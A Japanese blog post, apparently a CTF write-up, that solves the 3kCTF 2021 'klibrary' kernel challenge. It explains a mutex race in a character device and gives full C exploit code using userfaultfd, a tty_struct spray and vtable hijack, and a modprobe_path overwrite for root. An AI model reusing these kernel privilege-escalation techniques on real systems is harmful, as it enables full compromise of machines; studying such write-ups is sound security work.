【pwn 57.0】klibrary - 3kCTF 2021 (kernel exploit)
kernel exploit, tty_struct, kROP to overwrite modprobe_path, race w/ uffd
- 1: イントロ
- 2: static
- 3: module overview
- 4: vuln
- 5: leak kbase via tty_struct
- 6: get RIP via vtable in tty_struct
- 7: overwriting modprobe_path just by repeating single gadget
- 8: exploit
- 9: アウトロ
- 10: 参考
1: イントロ
このエントリはTSG Advent Calendar 2019の24日目の記事です。実に700日ほど遅れての投稿になります。
前回は fiord さんによる「この世界で最も愛しい生物とそれに関する技術について - アルゴリズマーの備忘録」でした。次回は JP3BGY さんによる「GCCで返答保留になった話 | J's Lab」 でした。
すごくお腹が空いたので、いつぞや開催された 3kCTF 2021 のkernel問題である klibrary を解いていこうと思います。なんか最近サンタさん来ないんですが、悪い子なのかも知れないです。
2: static
リシテア曰く。
=============================== Drothea v1.0.0 [.] kernel version: Linux version 5.9.10 (maher@maher) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for U1 [+] CONFIG_KALLSYMS_ALL is disabled. cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory [!] unprivileged userfaultfd is enabled. Ingrid v1.0.0 [.] userfaultfd is not disabled. [-] CONFIG_DEVMEM is disabled. ===============================
割と手堅いけど、uffdができる。あとなんかvmlinux
をstripせずにそのままくれてた、クリスマスプレゼントかも知れない。どうでもいいけどCONFIG_KALLSYMS_ALL
が無効になってる、めずらし。SMEP/SMAP/KPTI/KASLRは全部有効。
3: module overview
chrデバイス。Book
構造体のdouble-linked listを保持。典型的なノート問題。
struct Book { char book_description[BOOK_DESCRIPTION_SIZE]; unsigned long index; struct Book* next; struct Book* prev; } *root;
mutexを使っている。だが、わざわざ2つ(ioctl_lock
, remove_all_lock
)用意しているせいで、ロックを正常に取れていない(eg: REMOVE_ALL + REMOVE
等)。
static DEFINE_MUTEX(ioctl_lock); static DEFINE_MUTEX(remove_all_lock); if (cmd == CMD_REMOVE_ALL) { mutex_lock(&remove_all_lock); remove_all(); mutex_unlock(&remove_all_lock); } else { mutex_lock(&ioctl_lock); switch (cmd) { case CMD_ADD: add_book(request.index); break; case CMD_REMOVE: remove_book(request.index); break; case CMD_ADD_DESC: add_description_to_book(request); break; case CMD_GET_DESC: get_book_description(request); break; }
THE・ノート問題のため、モジュールの詳細は省略。ソースコードを見てください。
4: vuln
上に貼ったコードの通り、REMOVE_ALL
とその他のコマンドで異なるmutexを使っているため、この2種の操作でレースが生じる。remove_all()
は双方向リストを根っこから辿って順々にkfree()
していく。add_description_to_book()/get_book_description()
では、リストからユーザ指定のindex
を持つBook
を探し出し、copy_from_user()/copy_to_user()
でBook
構造体にデータを直接出し入れする。
よって、(add|get)_description()
で処理を止めている間にremove_all()
で該当ノートを消してしまえばkUAFになる。最初にリシテアが言っていたようにunprivileged uffdが許可されているため、レースも簡単。
5: leak kbase via tty_struct
さて、struct Book
はdescription
を直接埋め込んでいるためkmalloc-1024
に入る大きさである。この大きさと言えばstruct tty_struct
。leakした後に適当にテキストっぽいものを選べばkbase leak完了! あとtty_struct
はkbaseの他にもヒープのアドレス、とりわけ自分自身を指すアドレスを持っているため、これも忘れずにleakしておく。
6: get RIP via vtable in tty_struct
さてさて、今度はRIPを取る必要がある。や、まぁRIP取らなくても年は越せるんですが。
原理はleakと同じで、copy_to_user()
でフォルトを起こして止めている間に、remove_all
でそいつをkfree()
しちゃう。その直後にtty_struct
を確保することで、tty_struct
に任意の値を書き込むことが出来る。
書き込む位置は指定できず、必ずtty_struct
の先頭から0x300byte書き込むことになる。このとき、先頭のマジックナンバー(0x5401
)が壊れているとtty_ioctl()@drives/tty/tty_io.c
内のtty_paranoia_check()
で処理が終わってしまうため、これだけはちゃんと上書きしておく。
tty_struct + 0x200
あたりにフェイクのvtableとして実行したいコードのアドレスを入れておく。あとはops
を書き換えるために、(オフセットとか考えるのめんどいから)全部tty_struct + 0x200
のアドレスで上書きする。ここで必要なtty_struct
自身のアドレスは、先程のleakの段階で入手できている。これでRIPも取れました。
7: overwriting modprobe_path just by repeating single gadget
さてさてさて、このあとの方針は色々とありそう。以前解いたnuttyではtty_struct
の中でkROPをしてcommit(pkc(0))
していた。けど、これはまぁ色々と面倒くさいし、この問題と少し状況が異なっていてstack pivotが簡単に出来なかったため却下。
上のスタックトレースは、ioctl(ptmxfd, 0xdeadbeef, 0xcafebabe)
の結果なのだが、RDX
/RSI
が制御できていることが分かる。よって、mov Q[rdx], rsi
とかmov Q[rsi], rdx
みたいなガジェットを使うことで、任意アドレスの8byteを書き換えられる。tty_struct
は意外と頑丈らしく、全部破壊的に書き換えたとしても正常に終了してくれるっぽいので、このガジェットを何回でも呼び出すことが出来る。よって、これでmodprobe_path
を書き換えれば終わり。
0xffffffff8113e9b0: mov qword [rdx], rsi ; ret ; (2 found) 0xffffffff81018c30: mov qword [rsi], rdx ; ret ; (4 found)
やっぱりこの方法めっちゃ楽。
8: exploit
#include "./exploit.h" #include <fcntl.h> #include <sched.h> /*********** commands ******************/ #define DEV_PATH "/dev/library" // the path the device is placed #define CMD_ADD 0x3000 #define CMD_REMOVE 0x3001 #define CMD_REMOVE_ALL 0x3002 #define CMD_ADD_DESC 0x3003 #define CMD_GET_DESC 0x3004 #define BOOK_DESCRIPTION_SIZE 0x300 /********** types *********************/ typedef struct { unsigned long index; char* userland_pointer; } Request; #define GET_DESC_REGION 0x40000 #define ADD_DESC_REGION 0x50000 /*********** globals ****************/ char bigbuf[PAGE] = {0}; int fd, ttyfd; ulong kbase = 0, tty_addr = 0; scu mov_addr_rdx_rsi = 0x13e9b0; // (END globals) /********** utils ******************/ void add_book(int fd, ulong index) { Request req = {.index = index,}; assert(ioctl(fd, CMD_ADD, &req) == 0); } void remove_all(int fd) { assert(ioctl(fd, CMD_REMOVE_ALL, remove_all) == 0); } // (END utils) static void handler(ulong addr) { puts("[+] removing all books."); remove_all(fd); puts("[+] allocating tty_struct..."); assert((ttyfd = open("/dev//ptmx", O_RDWR | O_NOCTTY)) > 3); } int main(int argc, char *argv[]) { system("echo -ne \"\\xff\\xff\\xff\\xff\" > /tmp/nirugiri"); system("echo -ne \"#!/bin/sh\nchmod 777 /flag.txt && cat /flag.txt\" > /tmp/a"); system("chmod +x /tmp/nirugiri"); system("chmod +x /tmp/a"); assert((fd = open(DEV_PATH, O_RDWR)) > 2); // spray for (int ix = 0; ix != 0x10; ++ix) assert(open("/dev/ptmx", O_RDWR | O_NOCTTY) > 3); // prepare add_book(fd, 0); add_book(fd, 1); // set uffd region struct skb_uffder *uffder = new_skb_uffder(GET_DESC_REGION, 1, bigbuf, handler, "getdesc"); skb_uffd_start(uffder, NULL); sleep(1); // invoke uffd fault and remove all books while halting Request req = {.index = 1, .userland_pointer = (char*)GET_DESC_REGION}; assert(ioctl(fd, CMD_GET_DESC, &req) == 0); assert((kbase = ((ulong*)GET_DESC_REGION)[0x210 / 8] - 0x14fc00) != 0); assert((tty_addr = ((ulong*)GET_DESC_REGION)[0x1c8 / 8] + 0x800) != 0); ulong modprobe_path = kbase + 0x837d00; ulong rop_start = kbase + mov_addr_rdx_rsi; printf("[!] kbase: 0x%lx\n", kbase); printf("[!] tty_struct : 0x%lx\n", tty_addr); // tty_addr is the Book[0] /****************************************************/ // prepare add_book(fd, 0); // set uffd region struct skb_uffder *uffder2 = new_skb_uffder(ADD_DESC_REGION, 1, bigbuf, handler, "adddesc"); skb_uffd_start(uffder2, NULL); *(unsigned*)bigbuf = 0x5401; // magic for paranoia check in tty_ioctl() // prepare fake vtable at the bottom of tty_struct for (int ix = 1; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) { ((unsigned long*)bigbuf)[ix] = tty_addr + 0x200; } for (int ix = BOOK_DESCRIPTION_SIZE / 8 / 3 * 2; ix != BOOK_DESCRIPTION_SIZE / 8; ++ix) { ((unsigned long*)bigbuf)[ix] = rop_start; } // invoke fault Request req2 = {.index = 0, .userland_pointer = (char*)ADD_DESC_REGION}; assert(ioctl(fd, CMD_ADD_DESC, &req2) == 0); puts("[+] calling tty ioctl..."); char *uo = "/tmp/a\x00"; ioctl(ttyfd, ((unsigned *)uo)[0], modprobe_path); ioctl(ttyfd, ((unsigned *)uo)[1], modprobe_path + 4); puts("[+] executing evil script..."); system("/tmp/nirugiri"); system("cat /flag.txt"); // end of life puts("[ ] END of life..."); exit(0); }
9: アウトロ
風花雪月は4周目黄色ルートが終わりました。流石に飽きてきた可能性があり、5周目を始めるかどうか迷っています。
今年のアドベントカレンダーでは、「実家までこっそりと帰省して、バレないようにピンポンダッシュして東京に戻る」か「世界一きれいに手書きの『ぬ』を書きたい」のどちらかをテーマに書こうと思っています。また700日後にお会いしましょう。
10: 参考
1: ニルギリ
続く...